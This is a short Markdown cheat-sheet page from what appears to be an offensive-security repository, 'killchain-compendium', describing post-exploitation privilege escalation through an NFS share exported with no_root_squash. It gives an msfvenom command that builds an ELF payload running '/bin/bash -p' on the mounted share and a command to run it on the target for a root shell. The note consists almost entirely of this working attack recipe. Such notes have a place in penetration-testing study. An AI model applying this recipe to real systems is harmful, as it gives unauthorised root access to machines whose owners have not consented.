killchain-compendium/Post Exploitation/NFS Root Squash.md

14 lines
213 B
Markdown
Raw Normal View History

2022-11-11 01:15:07 +01:00
# NFS NO ROOT SQUASH
* Mount nfs locally and gain root
## Craft a Shell
```sh
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
```
* Copy to target and use it
```sh
./shell.elf -p
```